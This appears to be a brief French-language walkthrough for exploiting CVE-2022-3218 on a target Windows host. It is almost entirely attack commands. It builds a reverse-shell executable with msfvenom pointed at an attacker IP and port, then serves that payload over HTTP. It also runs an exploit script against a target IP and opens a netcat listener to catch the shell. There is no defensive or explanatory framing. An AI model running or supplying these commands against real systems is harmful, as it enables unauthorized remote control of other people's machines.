
Exploit Python pour CVE-2022-3218 qui génère une charge utile TCP inverse via msfvenom et la livre via HTTP à un hôte Windows cible.
Étape 1 — Créer un payload RÉEL (Windows)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe
Étape 2 — Servir le payload via HTTP Dans le même répertoire : python3 -m http.server 80
Étape 3 — Ajuster l'exploit
Exécute ainsi :
python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe
Étape 4 — Listener AVANT d'exploiter nc -lvnp 4444